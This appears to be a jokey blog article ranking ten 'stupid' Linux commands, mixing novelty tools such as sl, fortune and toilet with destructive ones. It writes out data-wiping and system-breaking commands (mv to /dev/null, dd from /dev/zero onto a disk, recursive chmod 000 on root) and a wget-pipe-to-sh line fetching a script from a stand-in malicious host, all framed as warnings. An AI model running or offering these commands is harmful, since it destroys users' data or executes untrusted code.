About the Linux stupid commands:
If you are reading this page then you are like all of us a Linux fan, also you are using the command line every day and absolutely love Linux. But even in love and marriage there are things that make you just a little bit annoyed. Here in this article we are going to show you some of the most stupid Linux commands that a person can find.
Article content:
- Stupid Command Number One – The Yes Command
- Stupid Command Number Two – Mv home to /dev/null
- Stupid Command Number Three – Wget & Sh
- Stupid Command Number Four – Dd Hda
- Stupid Command Number Five – The Vdir command
- Stupid Command Number Six – The SL Command
- Stupid Command Number Seven – The Fortune Command
- Stupid Command Number Eight – The Toilet Command
- Stupid Command Number Nine – fsck -y /dev/sda Command
- Stupid Command Number Ten – The Three Zeros
- Conclusion
- Bonus: 5 Of The Most Boring Commands In Linux
1 – Stupid Command Number One – The Yes Command
Now this one is very stupid it prints without an end y or a string that you have specified and now is the moment to press ctrl + c to exit this sh*t thing…
# A useless description to a useless command
$ yes
y
y
y
y
[Note: You have to press Control-C to stop the repeated y's]
# and ctrl + c is pressed immediately :)
Code language: PHP (php)
# Yup it's not a joke another stupid description just for fun
$ yes i-am-a-stupid-cli
i-am-a-stupid-cli
i-am-a-stupid-cli
i-am-a-stupid-cli
i-am-a-stupid-cli
[Note: You have to press Control-C to stop the repeated i-am-a-stupid-cli's]
# Oh I pressed ctrl + c don't worry "yes"
Code language: PHP (php)
2 – Stupid Command Number Two – Mv home to /dev/null
Yes now this is a very, very stupid command, what it does is to move the entire home directory into nothing which means that all your files are now deleted. And if you think that we can stop here you are wrong you can use mv to delete the entire system and with just one line to break everything …
# Here is one great idea let's delete the entire home directory
$ mv /home/your-home-directory/* /dev/null
# Or lets delete everything...
$ mv * /dev/null
Code language: PHP (php)
3 – Stupid Command Number Three – Wget & Sh
Now this command beats stupidity the idea is wget http://www.malicious-site.com/malicious-script.sh -O- | sh which will download a script from internet and that script is not verified but you are going to launch it directly after download. So what is our advice? The advice is NEVER download scripts from untrusted sources, and then execute the possibly malicious codes that they are giving you.
# Lets download a malicious script to our system from internet yey..
wget http://www.malicious-site.com/malicious-script.sh -O- | sh
Code language: PHP (php)
4 – Stupid Command Number Four – Dd Hda
While this command can be put to good use a person without experience can completely delete all the information in his hard drive. The idea is that dd will zero out every sector of the selected device.
# Lets zero out our hard disk drive...
dd if=/dev/zero of=/dev/hda
Code language: PHP (php)
5 – Stupid Command Number Five – The Vdir command
Vdir is same as ls -lb. But Why do we need to use vdir when we have the ls command? Sometimes we have to even stop writing because stupidity is at another level here…
# Using vdir instead of ls
$ vdir
total 4
-rw-r--r-- 1 root root 331 Dec 2 2021 file1.txt
-rw-r--r-- 1 root root 0 Dec 2 2021 documents.rar
-rw-r--r-- 1 root root 64 Dec 2 2021 my-files.tar.gz
-rw-r--r-- 1 root root 0 Dec 2 2021 file2.txt
Code language: PHP (php)
# Using ls -lb instead of vdir
$ ls -lb
total 4
-rw-r--r-- 1 root root 331 Dec 2 2021 file1.txt
-rw-r--r-- 1 root root 0 Dec 2 2021 documents.rar
-rw-r--r-- 1 root root 64 Dec 2 2021 my-files.tar.gz
-rw-r--r-- 1 root root 0 Dec 2 2021 file2.txt
Code language: PHP (php)
6 – Stupid Command Number Six – The SL Command
While on the subject of ls lets comment the sl command what is the difference between them? So while typing sometimes you can mismatch and type sl instead of ls and what is going to happen is a stupid train on the console… someone decided to make a joke but a very stupid joke.

Now here we do have a good news this is not prebuild in the distribution and you have to install it if you want this stupid joke.
# Install sl in ubuntu 21.04 Linux
$ sudo apt install sl
Code language: PHP (php)
7 – Stupid Command Number Seven – The Fortune Command
Talking about stupid and useless things it’s time to mention the fortune command. What it does is to generate a random fortune in the terminal – sometimes a stupid one, sometimes a very stupid one.
# How to install fortune in Ubuntu 21.04 Linux ?
$ sudo apt install fortune
# How to use the fortune command ?
$ fortune
You're not my type. For that matter, you're not even my species!!!
Future looks spotty. You will spill soup in late evening.
You worry too much about your job. Stop it. You are not paid enough to worry.
Your love life will be... interesting.
Code language: PHP (php)
Great Yeah? I don’t think so…
8 – Stupid Command Number Eight – The Toilet Command
Yes and yes again in Linux you can install a toilet on your computer and use it like one. And you may ask so… what does it do? Well it displays a text that you input in it for example:
# How to install toilet in Ubuntu 21.04 Linux ?
$ sudo apt-install toilet
# How to use toilet ?
$ toilet this article is stupid
Code language: PHP (php)

9 – Stupid Command Number Nine – fsck -y /dev/sda Command
What fsck -y /dev/sda does is to check your drive for bad sectors and then tries to fix them. Now that’s something useful and good right? When in this case yes and no. If you have a normal hard drive all is fine but if your disk drive is encrypted now you have a great problem because when fsck tries a fix it will crash the encrypted disk and now our of your data is lost, destroyed caput forever. Great ha?
# Do not ever use on encrypted disk!
$ fsck -y /dev/sda
Code language: PHP (php)
10 – Stupid Command Number Ten – The Three Zeros
Lets finish this article with the most stupid command of them all. Like people say when you start with a stupid command you have to finish with the most stupid command right? So what are the three zeros?
# 0 right to 0 people to 0 systems :D
$ sudo chmod 000 -R /*
Code language: PHP (php)
There, nobody has any right to do anything! Does anyone have anything more stupid that you can think of? You have made the system so secure, even root won’t be able to do anything.
Conclusion
In this article we reviewed 10 very stupid commands, some of them dangerous, some of them just plain stupid. But we hope that you had a little fun reading them. Now if nothing else you will know some command to be carful with them.
- Another article that you can be interested in is 5 Of The Most Boring Commands In Linux.
———————————————————————————————————
We hope you enjoyed this article. if that is so please rate this page with the stars bellow and subscribe to our YouTube channel or follow us on twiter.